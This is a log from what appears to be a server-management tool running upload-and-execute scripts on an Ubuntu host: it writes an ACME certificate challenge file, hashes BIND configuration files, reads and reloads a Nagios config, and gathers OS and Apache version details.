2026-07-13 06:00:01: Establishing a connection
2026-07-13 06:00:02: Establishing a connection
2026-07-13 06:00:02: 

PUT: /tmp/pkp299202

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-13 06:00:03: 

chmod 755 /tmp/pkp299202; /tmp/pkp299202; rm /tmp/pkp299202

2026-07-13 06:00:03: 


1


2026-07-13 06:00:04: Establishing a connection
2026-07-13 06:00:04: 

PUT: /tmp/pkp360993

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > uiNAvwDh4Ap0SSArcu_9wV0O-0ikE0zD5AqlJ6QShXM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
uiNAvwDh4Ap0SSArcu_9wV0O-0ikE0zD5AqlJ6QShXM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 uiNAvwDh4Ap0SSArcu_9wV0O-0ikE0zD5AqlJ6QShXM


2026-07-13 06:00:05: 

chmod 755 /tmp/pkp360993; /tmp/pkp360993; rm /tmp/pkp360993

2026-07-13 06:00:05: 




2026-07-13 10:16:53: Establishing a connection
2026-07-13 10:17:03: Establishing a connection
2026-07-13 10:17:03: 

PUT: /tmp/pkp805105

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-13 10:17:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp805105; rm /tmp/pkp805105'

2026-07-13 10:17:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-13 10:20:43: Establishing a connection
2026-07-13 10:20:43: 

PUT: /tmp/pkp562382

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-13 10:20:43: 

chmod 755 /tmp/pkp562382; /tmp/pkp562382; rm /tmp/pkp562382

2026-07-13 10:20:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	618
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-07-13 10:20:44: 

systemctl reload nagios

2026-07-13 10:20:44: 




2026-07-13 10:57:43: Establishing a connection
2026-07-13 10:57:52: Establishing a connection
2026-07-13 10:57:53: Performing Server Status
2026-07-13 10:57:53: 

PUT: /tmp/pkp718204

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-07-13 10:57:54: 

chmod 755 /tmp/pkp718204; /tmp/pkp718204; rm /tmp/pkp718204

2026-07-13 10:57:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		512		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-134-generic



2026-07-13 10:57:54: 

PUT: /tmp/pkp946523

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-07-13 10:57:55: 

chmod 755 /tmp/pkp946523; /tmp/pkp946523; rm /tmp/pkp946523

2026-07-13 10:57:55: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-07-06T16:27:55
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
